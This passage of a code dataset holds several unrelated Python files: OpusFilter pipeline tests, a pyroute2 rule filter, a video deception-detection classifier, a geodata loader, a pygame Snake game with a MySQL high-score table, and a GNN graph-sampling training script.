FilterPipeline.from_config(self.config)\n pairs = [('That safeguards our independence .',\n ('Kränkningar av svenskt territorium kommer aldrig att '\n 'accepteras .')),\n ('1245..', '12345.....'),\n ('', '')]\n scores = list(fp.score(pairs))\n self.assertEqual(\n scores[0],\n {'LengthFilter': [5, 9],\n 'LengthRatioFilter': 1.8,\n 'LongWordFilter': [12, 11],\n 'AverageWordLengthFilter': [6, 19 / 3],\n 'HtmlTagFilter': [False, False],\n 'CharacterScoreFilter': [1.0, 1.0],\n 'LanguageIDFilter': [1.0, 1.0],\n 'TerminalPunctuationFilter': -0.0,\n 'NonZeroNumeralsFilter': [1.0]})\n self.assertEqual(\n scores[1],\n {'LengthFilter': [1, 1],\n 'LengthRatioFilter': 1.0,\n 'LongWordFilter': [6, 10],\n 'AverageWordLengthFilter': [6, 10],\n 'HtmlTagFilter': [False, False],\n 'CharacterScoreFilter': [1.0, 1.0],\n 'LanguageIDFilter': [0.17, 0.0],\n 'TerminalPunctuationFilter': -2.1972245773362196,\n 'NonZeroNumeralsFilter': [0.8888888888888888]})\n self.assertEqual(\n scores[2],\n {'LengthFilter': [0, 0],\n 'LengthRatioFilter': 0,\n 'LongWordFilter': [0, 0],\n 'AverageWordLengthFilter': [0, 0],\n 'HtmlTagFilter': [False, False],\n 'CharacterScoreFilter': [1.0, 1.0],\n 'LanguageIDFilter': [1.0, 1.0],\n 'TerminalPunctuationFilter': -0.0,\n 'NonZeroNumeralsFilter': [1.0]})\n\n def test_filter(self):\n fp = FilterPipeline.from_config(self.config)\n pairs = [('test', ''),\n (' '.join(['w' for i in range(101)]), 'test'),\n (''.join(['c' for i in range(41)]), 'test'),\n ('test', 'test'),\n ('test', 'Φtest'),\n ('Tämä lause on kirjoitettu suomeksi.',\n 'This sentence is written in English.'),\n ('test', 'test...............'),\n ('1', '99999999999'),\n ('This sentence is written in English.',\n 'Denna mening är skriven på svenska.')]\n filtered = list(fp.filter(pairs))\n self.assertEqual(filtered, [('This sentence is written in English.',\n 'Denna mening är skriven på svenska.')])\n rev_pairs = [p for p in reversed(pairs)]\n filtered = list(fp.filter(rev_pairs))\n self.assertEqual(filtered, [('This sentence is written in English.',\n 'Denna mening är skriven på svenska.')])\n\n def test_filterfalse(self):\n fp = FilterPipeline.from_config(self.config)\n pairs = [('test', ''),\n (' '.join(['w' for i in range(101)]), 'test'),\n (''.join(['c' for i in range(41)]), 'test'),\n ('test', 'test'),\n ('test', 'Φtest'),\n ('Tämä lause on kirjoitettu suomeksi.',\n 'This sentence is written in English.'),\n ('test', 'test...............'),\n ('1', '99999999999'),\n ('This sentence is written in English.',\n 'Denna mening är skriven på svenska.')]\n filtered = list(fp.filterfalse(pairs))\n self.assertEqual(filtered, pairs[:-1])\n\n def test_filter_empty(self):\n fp = FilterPipeline.from_config(self.config)\n pairs = [('', ''), ('this is English', 'det är Svenska'), ('', '')]\n filtered = list(fp.filter(pairs))\n self.assertEqual(filtered, [('this is English', 'det är Svenska')])\n # set LengthFilter to pass empty lines\n config2 = copy.deepcopy(self.config)\n config2[0]['LengthFilter']['pass_empty'] = True\n config2[3]['AverageWordLengthFilter']['pass_empty'] = True\n fp = FilterPipeline.from_config(config2)\n filtered = list(fp.filter(pairs))\n self.assertEqual(\n filtered, [('', ''), ('this is English', 'det är Svenska'), ('', '')])\n\n\nclass TestFilterPipelineScoreNames(unittest.TestCase):\n\n def test_without_names(self):\n config = [\n {'LengthFilter': {'min_length': 1, 'max_length': 100,\n 'unit': 'word'}},\n {'LengthFilter': {'min_length': 8, 'max_length': 1000,\n 'unit': 'char'}},\n ]\n fp = FilterPipeline.from_config(config)\n self.assertEqual(len(fp.filters), 2)\n self.assertSequenceEqual(\n fp.get_score_tuples(),\n [('LengthFilter', '1'), ('LengthFilter', '2')])\n pairs = [('That safeguards our independence .',\n ('Kränkningar av svenskt territorium kommer aldrig att '\n 'accepteras .')),\n ('1245..',\n '12345.....')]\n scores = list(fp.score(pairs))\n self.assertEqual(\n scores[0],\n {'LengthFilter': {'1': [5, 9], '2': [34, 65]}})\n self.assertEqual(\n scores[1],\n {'LengthFilter': {'1': [1, 1], '2': [6, 10]}})\n\n def test_with_names(self):\n config = [\n {'LengthFilter': {'min_length': 1, 'max_length': 100,\n 'unit': 'word', 'name': 'words'}},\n {'LengthFilter': {'min_length': 8, 'max_length': 1000,\n 'unit': 'char', 'name': 'chars'}},\n ]\n fp = FilterPipeline.from_config(config)\n self.assertEqual(len(fp.filters), 2)\n self.assertSequenceEqual(\n fp.get_score_tuples(),\n [('LengthFilter', 'words'), ('LengthFilter', 'chars')])\n pairs = [('That safeguards our independence .',\n ('Kränkningar av svenskt territorium kommer aldrig att '\n 'accepteras .')),\n ('1245..',\n '12345.....')]\n scores = list(fp.score(pairs))\n self.assertEqual(\n scores[0],\n {'LengthFilter': {'words': [5, 9], 'chars': [34, 65]}})\n self.assertEqual(\n scores[1],\n {'LengthFilter': {'words': [1, 1], 'chars': [6, 10]}})\n","repo_name":"Helsinki-NLP/OpusFilter","sub_path":"tests/test_filter_pipeline.py","file_name":"test_filter_pipeline.py","file_ext":"py","file_size_in_byte":7781,"program_lang":"python","lang":"en","doc_type":"code","stars":87,"dataset":"github-code","pt":"61"} +{"seq_id":"9415649816","text":"import socket\n\nfrom pyroute2.netlink.rtnl.fibmsg import FR_ACT_NAMES, fibmsg\n\nfrom .common import Index, IPRouteFilter, IPTargets, NLAKeyTransform\n\nDEFAULT_FRA_PRIORITY = 32000\n\n\nclass RuleFieldFilter(IPTargets, Index, NLAKeyTransform):\n _nla_prefix = fibmsg.prefix\n\n\nclass RuleIPRouteFilter(IPRouteFilter):\n def set_action(self, context, value):\n if isinstance(value, str):\n return {\n 'action': FR_ACT_NAMES.get(\n value, FR_ACT_NAMES.get('FR_ACT_' + value.upper(), value)\n )\n }\n return {'action': value}\n\n def finalize(self, context):\n if self.command != 'dump':\n if 'family' not in context:\n context['family'] = socket.AF_INET\n if 'priority' not in context:\n context['priority'] = DEFAULT_FRA_PRIORITY\n if 'table' in context and 'action' not in context:\n context['action'] = 'to_tbl'\n for key in ('src_len', 'dst_len'):\n if context.get(key, None) is None and key[:3] in context:\n context[key] = {socket.AF_INET6: 128, socket.AF_INET: 32}[\n context['family']\n ]\n","repo_name":"svinota/pyroute2","sub_path":"pyroute2/requests/rule.py","file_name":"rule.py","file_ext":"py","file_size_in_byte":1229,"program_lang":"python","lang":"en","doc_type":"code","stars":888,"dataset":"github-code","pt":"61"} +{"seq_id":"73223393475","text":"import os\nimport torch\nimport torchvision\nfrom torch.utils.data import Dataset, DataLoader\nfrom torchvision import transforms\nfrom torchvision.io import read_video\n\nimport os\nimport torch\nimport torch.nn as nn\nimport torchvision\nfrom torch.utils.data import Dataset, DataLoader\nfrom torchvision import transforms\nfrom torchvision.io import read_video\nfrom torchvision.models.video import r3d_18\nimport torch.nn.functional as F\nfrom torchvision.transforms import Resize, Normalize, Compose\n\nfrom sklearn.model_selection import train_test_split\nfrom tqdm import tqdm \nimport pickle\n\ndevice = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\nfrom PIL import Image\n\ndef extract_video_features(video_path):\n video, _, _ = read_video(video_path, pts_unit='sec')\n video = video[:16,:,:,:].to(torch.float)\n print(f'Using read_video: Input video shape: {video.shape}')\n feature_extractor = r3d_18(pretrained=True)\n feature_extractor.fc = nn.Identity() # Remove the last fully connected layer\n with torch.no_grad():\n # Resize frames to (112, 112) and convert RGB to BGR\n transform = Compose([\n Resize((112, 112)),\n transforms.Lambda(lambda x: x[[2, 1, 0], :, :]), # Convert RGB to BGR\n Normalize(mean=[0.43216, 0.394666, 0.37645], \n std=[0.22803, 0.22145, 0.216989]) # Normalize pixel values\n ])\n video = [transform(frame) for frame in video]\n # Stack the frames into a 5D tensor\n video = torch.stack(video, dim=0)\n video = video.permute(1,0,2,3)\n video = torch.unsqueeze(video, dim=0)\n features = feature_extractor(video)\n #print(f'Output features shape: {features.shape}')\n return features\n\n\nclass DeceptionDatasetold(Dataset):\n def __init__(self, file_paths, labels, transform=None):\n\n self.file_paths = file_paths\n self.labels = labels\n print(\"started the features extraction\")\n self.all_features = []\n for video_path in self.file_paths:\n self.all_features.append(extract_video_features(video_path))\n\n print(\"finished the features extraction\")\n self.transform = transform\n\n def __len__(self):\n return len(self.file_paths)\n\n def __getitem__(self, idx):\n #video_path = self.all_videos[idx]\n #features = extract_video_features(video_path)\n features = self.all_features[idx]\n label = self.labels[idx]\n\n #if self.transform:\n # features = self.transform(features)\n\n return features, label\n\nclass DeceptionDataset(Dataset):\n def __init__(self, file_paths, labels, transform=None, features_cache_dir='features_cache2'):\n\n self.file_paths = file_paths\n self.labels = labels\n self.transform = transform\n \n # Create the features_cache directory if it does not exist\n os.makedirs(features_cache_dir, exist_ok=True)\n \n print(\"Started the features extraction\")\n self.all_features = []\n for video_path in self.file_paths:\n # Create a cache file path for the current video\n videoname_path = video_path.split(\".\")\n cache_file = os.path.join(features_cache_dir, os.path.basename(videoname_path[0]) + '.pickle')\n \n # Check if the cache file exists and load features if it does\n if os.path.exists(cache_file):\n with open(cache_file, 'rb') as f:\n features = pickle.load(f)\n else:\n features = extract_video_features(video_path)\n # Save features to the cache file\n with open(cache_file, 'wb') as f:\n pickle.dump(features, f)\n \n self.all_features.append(features)\n\n print(\"Finished the features extraction\")\n\n def __len__(self):\n return len(self.file_paths)\n\n def __getitem__(self, idx):\n #video_path = self.all_videos[idx]\n #features = extract_video_features(video_path)\n features = self.all_features[idx]\n label = self.labels[idx]\n\n #if self.transform:\n # features = self.transform(features)\n\n return features, label\n\n\nclass SimpleClassifier(nn.Module):\n def __init__(self, input_size, num_classes):\n super(SimpleClassifier, self).__init__()\n \n self.fc1 = nn.Linear(input_size, 512) \n self.fc2 = nn.Linear(512, 256)\n self.fc3 = nn.Linear(256, num_classes)\n\n def forward(self, x):\n x = x.view(x.size(0), -1) # Flatten the input tensor\n #print('forward x.shape: ', x.shape)\n x = torch.relu(self.fc1(x))\n x = F.dropout(x, p=0.15)\n x = torch.relu(self.fc2(x))\n x = F.dropout(x, p=0.15)\n x = self.fc3(x)\n return x\n\ndef train(model, train_loader, criterion, optimizer, device):\n model.train()\n running_loss = 0.0\n running_corrects = 0\n\n for inputs, labels in tqdm(train_loader):\n inputs = inputs.to(device)\n labels = labels.to(device)\n\n optimizer.zero_grad()\n\n # Forward pass\n outputs = model(inputs)\n loss = criterion(outputs, labels)\n\n # Backward pass and optimize\n loss.backward()\n optimizer.step()\n\n # Calculate statistics\n _, preds = torch.max(outputs, 1)\n running_loss += loss.item() * inputs.size(0)\n running_corrects += torch.sum(preds == labels.data)\n\n epoch_loss = running_loss / len(train_loader.dataset)\n epoch_acc = running_corrects.double() / len(train_loader.dataset)\n\n print(f'Train Loss: {epoch_loss:.4f} Acc: {epoch_acc:.4f}')\n\n return epoch_loss, epoch_acc\n\ndef evaluate(model, val_loader, criterion, device):\n model.eval()\n running_loss = 0.0\n running_corrects = 0\n\n with torch.no_grad():\n for inputs, labels in tqdm(val_loader):\n inputs = inputs.to(device)\n labels = labels.to(device)\n\n # Forward pass\n outputs = model(inputs)\n loss = criterion(outputs, labels)\n\n # Calculate statistics\n _, preds = torch.max(outputs, 1)\n running_loss += loss.item() * inputs.size(0)\n running_corrects += torch.sum(preds == labels.data)\n\n epoch_loss = running_loss / len(val_loader.dataset)\n epoch_acc = running_corrects.double() / len(val_loader.dataset)\n\n print(f'Val Loss: {epoch_loss:.4f} Acc: {epoch_acc:.4f}')\n\n return epoch_loss, epoch_acc\n\ndef create_dataset_and_loader(deception_folder, truthful_folder, test_size=0.2, batch_size=10):\n deception_files = [os.path.join(deception_folder, f) for f in os.listdir(deception_folder)]\n truthful_files = [os.path.join(truthful_folder, f) for f in os.listdir(truthful_folder)]\n\n\n file_paths = deception_files + truthful_files\n labels = [0] * len(deception_files) + [1] * len(truthful_files)\n #print(labels) \n #exit(0)\n\n\n train_files, test_files, train_labels, test_labels = train_test_split(file_paths, labels, test_size=test_size, stratify=labels)\n\n #train_dataset = AudioFeaturesDataset(train_files, train_labels)\n #test_dataset = AudioFeaturesDataset(test_files, test_labels)\n \n #vgg16 = load_vgg16()\n # Define VGG model\n \n train_dataset = DeceptionDataset(train_files, train_labels)\n test_dataset = DeceptionDataset(test_files, test_labels)\n\n\n train_loader = DataLoader(train_dataset, batch_size=batch_size, shuffle=True)\n test_loader = DataLoader(test_dataset, batch_size=batch_size, shuffle=False)\n \n\n\n return train_loader, test_loader\n\nif __name__ == '__main__':\n \n\n # Set up data transforms\n transform = Compose([\n Resize((256, 256)), # resize frames to 256x256\n transforms.ToTensor(),\n Normalize(mean=[0.5, 0.5, 0.5], \n std=[0.5, 0.5, 0.5]) # normalize pixel values\n ])\n\n\n # Set up training and validation data loaders\n #train_dataset = DeceptionDataset(deceptive_dir=deception, truthful_dir=truthful, transform=transform)\n #train_loader = DataLoader(train_dataset, batch_size=2, shuffle=True, num_workers=1)\n print(\"We are creating the dataset and dataloader\")\n #deception_folder = \"/home/leticia/datasets/video_temp/Clips/Deceptive\"\n #truthful_folder = \"/home/leticia/datasets/video_temp/Clips/Truthful\"\n \n\n #deception_folder = \"/home/leticia/datasets/Real-life_Deception_Detection_2016/Clips/Deceptive\"\n #truthful_folder = \"/home/leticia/datasets/Real-life_Deception_Detection_2016/Clips/Truthful\"\n\n\n ##second dataset:\n deception_folder = \"/home/leticia/datasets/Dataset2/Videos/Lie/\"\n truthful_folder = \"/home/leticia/datasets/Dataset2/Videos/Truth/\"\n\n train_loader, val_loader = create_dataset_and_loader(deception_folder, truthful_folder)\n print(\"We are done creating the dataset and dataloader\")\n\n #val_dataset = DeceptionDataset(deceptive_dir=deception, truthful_dir=truthful, transform=transform)\n #val_loader = DataLoader(val_dataset, batch_size=2, shuffle=False, num_workers=1)\n\n # Set up the model, loss function, and optimizer\n model = SimpleClassifier(input_size=512, num_classes=2)\n model.to(device)\n criterion = nn.CrossEntropyLoss()\n optimizer = torch.optim.Adam(model.parameters())\n\n # Train and evaluate the model for a fixed number of epochs\n num_epochs = 10\n for epoch in range(num_epochs):\n print(f'Epoch {epoch + 1}/{num_epochs}')\n train_loss, train_acc = train(model, train_loader, criterion, optimizer, device)\n val_loss, val_acc = evaluate(model, val_loader, criterion, device)\n","repo_name":"unfortunate-code/Multimodal-Deception-Detection","sub_path":"Features/Visual/visualfeatures.py","file_name":"visualfeatures.py","file_ext":"py","file_size_in_byte":9697,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"5790810386","text":"import os\n\nimport geopandas as gpd\n\nfrom odysseus.city_data_manager.city_data_source.geo_data_source.geo_data_source import GeoDataSource\n\n\nclass MinneapolisCenterlines(GeoDataSource):\n\n\tdef __init__(self):\n\t\tsuper().__init__(\"Minneapolis\", \"mpls_centerlines\")\n\n\tdef load_raw(self):\n\t\traw_geo_data_path = os.path.join(\n\t\t\tself.raw_data_path,\n\t\t\t\"MPLS_Centerline.dbf\"\n\t\t)\n\t\tgdf = gpd.read_file(raw_geo_data_path)\n\t\tself.gdf = gdf\n\t\treturn self.gdf\n\n\tdef normalise(self):\n\n\t\tgdf_norm = self.load_raw()\n\t\tgdf_norm = gdf_norm.rename({\n\t\t\t\"GBSID\":\"centerline_id\"\n\t\t}, axis=1)\n\t\tgdf_norm = gdf_norm[[\n\t\t\t\"centerline_id\", \"geometry\"\n\t\t]]\n\t\tgdf_norm.centerline_id = gdf_norm.centerline_id.astype(str)\n\n\t\tgdf_norm.to_file(\n\t\t\tos.path.join(\n\t\t\t\tself.norm_data_path,\n\t\t\t\t\"centerlines.shp\"\n\t\t\t)\n\t\t)\n\n\t\tself.gdf_norm = gdf_norm\n\t\treturn gdf_norm\n","repo_name":"smartdatapolito/odysseus","sub_path":"odysseus/city_data_manager/city_data_source/geo_data_source/minneapolis_centerlines.py","file_name":"minneapolis_centerlines.py","file_ext":"py","file_size_in_byte":833,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"72910857795","text":"import pygame\nimport time\nimport random\nfrom tkinter import *\nfrom tkinter import messagebox\nTk().wm_withdraw() #to hide the main window\nimport pygame_menu\nimport pygame_menu\nfrom pygame_menu.examples import create_example_window\nfrom pathlib import Path\n\nfrom typing import Tuple, Any\n\n\n\ndef play_snake(difficulty,user_name):\n pygame.init()\n\n white = (11, 22, 34)\n black = (159, 173, 189)\n red = (255,0,0)\n purple = (1,133,223)\n gameover = (1,133,223)\n\n display_width = 800\n display_height = 600\n\n difficulty = difficulty\n user_name = user_name\n\n print(difficulty, user_name)\n\n\n clock = pygame.time.Clock()\n fps = difficulty\n block_size = 50\n\n font = pygame.font.SysFont(None, 25)\n hs_file = open(Path(__file__).parent / \"snake_hs.txt\", 'r+')\n\n eat_sound = pygame.mixer.Sound(Path(__file__).parent / \"../assets/sounds/eat.wav\")\n game_over_sound = pygame.mixer.Sound(Path(__file__).parent / \"../assets/sounds/game_over.wav\")\n victory_sound = pygame.mixer.Sound(Path(__file__).parent / \"../assets/sounds/victory.wav\")\n #Setting high score\n def get_highscore():\n hs_file_hs = open(Path(__file__).parent / \"snake_hs.txt\", 'r+').readline()\n hs = hs_file_hs.strip()\n return int(hs)\n\n def snake(block_size, snakeList, snakeHead, lead_x, lead_y):\n for XnY in snakeList:\n pygame.draw.rect(gameDisplay, purple, [XnY[0],XnY[1],block_size,block_size])\n pygame.draw.rect(gameDisplay, red, [lead_x,lead_y,block_size,block_size])\n\n def start_the_game():\n gameLoop()\n\n def message_to_screen(msg,color,x,y):\n screen_text = font.render(msg, True, color)\n gameDisplay.blit(screen_text, [x,y])\n\n gameDisplay = pygame.display.set_mode((800,600))\n pygame.display.set_caption(\"PyFy - Snake\")\n\n def add_hs_to_db(score):\n import mysql.connector\n import os\n from dotenv import load_dotenv\n\n load_dotenv()\n\n db_user = os.environ.get(\"DB_USER\")\n db_host = os.environ.get(\"DB_HOST\")\n db_password = os.environ.get(\"DB_PASSWORD\")\n db_db = os.environ.get(\"DB_DB\")\n\n cnx = mysql.connector.connect(user=db_user, password=db_password,\n host=db_host,\n database=db_db)\n cursor = cnx.cursor()\n\n query = (\"INSERT into snake_highscores(username,score) VALUES(%s,%s)\")\n\n query_data = (user_name,score)\n print(query_data)\n cursor.execute(query, query_data)\n\n cnx.commit()\n cursor.close()\n cnx.close()\n\n def gameLoop():\n gameExit = False\n gameOver = False\n\n lead_x = display_width/2\n lead_y = display_height/2\n lead_x_change = 0\n lead_y_change = 0\n\n snakeList = []\n snakeLength = 1\n\n score = 0\n\n randAppleX = round(random.randrange(0, display_width - block_size)/block_size)*block_size\n randAppleY = round(random.randrange(0, display_height - block_size)/block_size)*block_size\n\n while not gameExit:\n while gameOver == True:\n gameDisplay.fill(gameover)\n message_to_screen(\"Poginuli ste! Kliknite ENTER da nastavite, ili Q da izađete.\", white, 180,280)\n message_to_screen(''.join([\"Vaš score je bio: \",str(score)]), white, 300, 325)\n pygame.display.update()\n\n play_game_over = True\n if play_game_over:\n play_game_over = False\n\n #Overwriting highscore\n if score > get_highscore():\n messagebox.showinfo('Congratuations!','New Highscore!')\n add_hs_to_db(score)\n\n pygame.display.update()\n print(\"NEW HIGHSCORE!\")\n hs_file.seek(0)\n hs_file.write(str(score))\n hs_file.truncate()\n\n\n for event in pygame.event.get():\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_RETURN:\n gameLoop()\n if event.key == pygame.K_q:\n gameExit = True\n gameOver = False\n elif event.type == pygame.QUIT:\n gameExit = True\n gameOver = False\n\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n gameExit = True\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_LEFT:\n lead_x_change = -block_size\n lead_y_change = 0\n elif event.key == pygame.K_RIGHT:\n lead_x_change = block_size\n lead_y_change = 0\n elif event.key == pygame.K_DOWN:\n lead_y_change = block_size\n lead_x_change = 0\n elif event.key == pygame.K_UP:\n lead_y_change = -block_size\n lead_x_change = 0\n\n if lead_x >= display_width or lead_x <0 or lead_y >= display_height or lead_y <0:\n gameOver = True\n\n lead_x += lead_x_change\n lead_y += lead_y_change\n gameDisplay.fill(white)\n message_to_screen(''.join([\"Score: \",str(score)]), black, 10,10)\n message_to_screen(''.join([\"High Score: \",str(get_highscore()) if get_highscore() > score else str(score)]), black, 10,30)\n pygame.draw.rect(gameDisplay, black, [randAppleX, randAppleY, block_size, block_size])\n\n snakeHead = []\n snakeHead.append(lead_x)\n snakeHead.append(lead_y)\n snakeList.append(snakeHead)\n\n if len(snakeList) > snakeLength:\n del snakeList[0]\n for eachSegment in snakeList[:-1]:\n if eachSegment == snakeHead:\n gameOver = True\n\n snake(block_size, snakeList, snakeHead, lead_x, lead_y)\n\n if lead_x == randAppleX and lead_y == randAppleY:\n randAppleX = round(random.randrange(0, display_width - block_size)/block_size)*block_size\n randAppleY = round(random.randrange(0, display_height - block_size)/block_size)*block_size\n snakeLength += 1\n score += 1\n eat_sound.play()\n message_to_screen(''.join([\"Score: \",str(score)]), black, 10,10)\n\n pygame.display.update()\n\n clock.tick(fps)\n\n play_snake_menu()\n pygame.quit()\n # menu = pygame_menu.Menu(300, 400, 'Welcome',\n # theme=pygame_menu.themes.THEME_BLUE)\n\n # menu.add.text_input('Name :', default='John Doe')\n # menu.add.selector('Difficulty :', [('Hard', 1), ('Easy', 2)])\n # menu.add.button('Play', start_the_game)\n # menu.add.button('Quit', pygame_menu.events.EXIT)\n gameLoop()\n # menu.mainloop(surface)\n# play_snake()\n\nglobal height\nglobal width\nsurface = create_example_window('PyFy - Snake Game', (800, 600))\n\n\ndef set_difficulty(selected: Tuple, value: Any) -> None:\n global difficulty\n difficulty = value\n print('Set difficulty to ({})'.format(difficulty))\n\n\ndef start_the_game() -> None:\n global difficulty\n global user_name\n global height\n global width\n print('{0}, {1}!'.format(user_name.get_value(), difficulty))\n play_snake(difficulty,user_name.get_value())\n\n\n\nmenu = pygame_menu.Menu(\n height=600,\n theme=pygame_menu.themes.THEME_SOLARIZED,\n title='Dobrodošli u PyFy Snake Game',\n width=800\n)\n\nuser_name = menu.add.text_input('Ime: ', default='Korisnik', maxchar=10)\nmenu.add.selector('Težina: ', [('Easy', 5), ('Normal', 10), ('Hard', 20), ('Impossible', 40)], onchange=set_difficulty)\ndifficulty = 5\nmenu.add.button('Igraj', start_the_game)\nmenu.add.button('Izađi', pygame_menu.events.EXIT)\n\ndef play_snake_menu():\n menu.mainloop(surface)\n play_snake_menu()\n\n\n","repo_name":"Makogai/eel-se","sub_path":"python/scripts/snake_game.py","file_name":"snake_game.py","file_ext":"py","file_size_in_byte":8107,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"5710906494","text":"import torch\nimport argparse\nfrom torch_geometric.loader import GraphSAINTRandomWalkSampler\nimport torch.nn.functional as F\nimport os\nimport dataset\nimport models\nimport graph_sampler\nimport pandas as pd\nimport statistics\nimport matplotlib.pyplot as plt\n\n\ndevice = torch.device('cpu')\n\nparser = argparse.ArgumentParser(\"Large Scale Graph Learning Codes\")\nparser.add_argument('--dataset', type=str, default=\"ErdosRenyi\")\nparser.add_argument(\"--sampler\", type=str, default=\"srw\")\nparser.add_argument(\"--batch_size\", type=int, default = 25)\nparser.add_argument(\"--per_epoch_plot\", action='store_true')\nparser.add_argument(\"--num_epochs\", type = int, default = 50)\nparser.add_argument(\"--num_runs\", type = int, default = 10)\nparser.add_argument(\"--alpha\", type=float, default=0.25)\nparser.add_argument(\"--barabasi_n\", type=int, default=2240)\nparser.add_argument(\"--barabasi_m\",type=int, default=2)\n\nargs = parser.parse_args()\nprint(args)\n\npath = f\"{os.path.dirname(__file__)}/dataset/{args.dataset}\"\ndataset = dataset.load_dataset(args.dataset, path, args)\ndataset.num_nodes = dataset.y.shape[0]\nif args.dataset not in (\"AmazonComputers\"):\n data = dataset[0]\n dataset.num_edges = dataset[0].edge_index.shape[1]\nelse:\n data = dataset\n dataset.num_edges = data.edge_index.shape[1]\n print(dataset.num_edges)\n\nrow, col = data.edge_index\n\nif dataset == \"BarabasiAlbert\":\n if args.sampler == \"srw\":\n loader = graph_sampler.SimpleRandomWalkSampler(args.dataset, \n data, batch_size = 5, budget = 5)\n elif args.sampler == \"mhrw\":\n print(\"executing mhrw\")\n loader = graph_sampler.MetropolisHastingsRandomWalkSampler(args.dataset, \n data, batch_size=5, budget=5)\n elif args.sampler == \"mhrwe\":\n loader = graph_sampler.MetropolisHastingsRandomWalkWithEscapingSampler(args.dataset, \n data, batch_size=5, budget=5, alpha=args.alpha)\n elif args.sampler == \"rcmh\":\n loader = graph_sampler.RejectionControlMetropolisHastingsSampler(args.dataset, \n data, batch_size=5, budget=5, alpha=args.alpha)\n elif args.sampler == \"srws\":\n loader = graph_sampler.SimpleRandomWalkWithStallingSampler(args.dataset, \n data, batch_size=5, budget=5)\n elif args.sampler == \"srwe\":\n loader = graph_sampler.SimpleRandomWalkWithEscapingSampler(args.dataset, \n data, batch_size=5, budget=5, alpha=0.25)\nelse:\n if args.sampler == \"srw\":\n loader = graph_sampler.SimpleRandomWalkSampler(args.dataset, \n data, batch_size=args.batch_size, budget=4)\n elif args.sampler == \"mhrw\":\n print(\"executing mhrw\")\n loader = graph_sampler.MetropolisHastingsRandomWalkSampler(args.dataset, \n data, batch_size=args.batch_size, budget=4)\n elif args.sampler == \"mhrwe\":\n loader = graph_sampler.MetropolisHastingsRandomWalkWithEscapingSampler(args.dataset, \n data, batch_size=args.batch_size, budget=4, alpha=args.alpha)\n elif args.sampler == \"rcmh\":\n loader = graph_sampler.RejectionControlMetropolisHastingsSampler(args.dataset, \n data, batch_size=args.batch_size, budget=4, alpha=args.alpha)\n elif args.sampler == \"srws\":\n loader = graph_sampler.SimpleRandomWalkWithStallingSampler(args.dataset, \n data, batch_size=args.batch_size, budget=4)\n elif args.sampler == \"srwe\":\n loader = graph_sampler.SimpleRandomWalkWithEscapingSampler(args.dataset, \n data, batch_size=args.batch_size, budget=4, alpha=args.alpha)\n else:\n raise ValueError(\"Invalid sampler argument provided\")\n\nmodel = models.GNNNetwork(args.dataset, dataset.num_node_features, hidden_channels=256,\n out_channels=dataset.num_classes).to(device)\noptimizer = torch.optim.Adam(model.parameters(), lr=0.001)\n\n\nseen_elements = set()\ndef train():\n model.train()\n total_loss = total_examples = 0\n overall_mean = 0 \n num_batches = 0\n for data in loader:\n data = data.to(device)\n for i in range(data.x.shape[0]):\n if data.x[i, 2].item() not in seen_elements:\n overall_mean += data.x[i, 1]\n num_batches += 1 \n seen_elements.add(data.x[i, 2].item())\n assert (data.x[i, 2].item() in seen_elements)\n else:\n # print(\"Seen: \", data.x[i, 2].item())\n pass \n # overall_mean += torch.sum(data.x[:, 1])\n # num_batches += data.x.shape[0]\n \n \n for data in loader:\n # print(\"Start train mask\")\n # print(data.train_mask)\n # print(\"End train mask\")\n data = data.to(device)\n # print(torch.mean(data.x[:, 1]))\n optimizer.zero_grad()\n out = model(data.x, data.edge_index)\n if len(data.train_mask.shape) > 1 and data.train_mask.shape[1] > 1:\n loss = F.nll_loss(out[data.train_mask[:, 0]], data.y[data.train_mask[:, 0]])\n else:\n loss = F.nll_loss(out[data.train_mask], data.y[data.train_mask])\n loss.backward()\n optimizer.step()\n total_loss += loss.item() * data.num_nodes\n total_examples += data.num_nodes\n return total_loss / total_examples\n\n\n@torch.no_grad()\ndef test(epoch):\n model.eval()\n out = model(data.x.to(device), data.edge_index.to(device))\n pred = out.argmax(dim=-1)\n # print(\"Correct labels\")\n # print(data.y)\n # print(\"__________________\")\n # print(pred)\n # print(\"Correct\")\n # print(pred.eq(data.y.to(device)))\n \n correct = pred.eq(data.y.to(device))\n\n accs = []\n # for _, mask in data('train_mask', 'val_mask', 'test_mask'):\n for name, mask in data('train_mask', 'val_mask', 'test_mask'):\n if (len(mask.shape) > 1) and mask.shape[1] > 1:\n accs.append(correct[mask[:, 0]].sum().item() / mask[:, 0].sum().item())\n else:\n accs.append(correct[mask].sum().item() / mask.sum().item())\n # print(\"Done\")\n return accs\n\ntest_accs = []\nfor i in range(args.num_runs):\n cur_valid_acc = 0 \n test_acc = 0\n for epoch in range(1, args.num_epochs):\n loss = train()\n accs = test(epoch)\n \n if args.dataset == \"EllipticBitcoinDataset\":\n epoch_dic = {\n \"epoch\" : epoch, \n \"loss\": loss, \n \"train\": accs[0], \n \"test\": accs[-1]\n }\n test_acc = epoch_dic[\"test\"]\n else:\n epoch_dic = {\n \"epoch\" : epoch, \n \"loss\": loss, \n \"train\": accs[0], \n \"valid\": accs[1], \n \"test\": accs[-1]\n }\n if epoch_dic[\"valid\"] > cur_valid_acc:\n cur_valid_acc = epoch_dic[\"valid\"]\n test_acc = epoch_dic[\"test\"]\n test_accs.append(test_acc)\n\nprint(f\"{args.dataset}-{args.sampler}-{args.batch_size}: test accuracy: {statistics.mean(test_accs)}, std: {statistics.stdev(test_accs)}\")\n\nif args.per_epoch_plot:\n overall_accs = []\n for epoch in range(1, 1):\n loss = train()\n accs = test()\n\n epoch_dic = {\n \"epoch\" : epoch, \n \"loss\": loss, \n \"train\": accs[0], \n \"test\": accs[-1]\n }\n overall_accs.append(epoch_dic)\n\n if args.dataset == \"EllipticBitcoinDataset\":\n print(\n f'Epoch: {epoch:02d}, Loss: {loss:.4f}, train acc: {accs[0]:04f}, test acc: {accs[1]:04f}')\n else:\n print(f'Epoch: {epoch:02d}, Loss: {loss:.4f}, train acc: {accs[0]:04f}, valid acc: {accs[1]:04f}, test acc: {accs[2]:04f}' )\n\n\n results_df = pd.DataFrame(\n overall_accs\n )\n\n 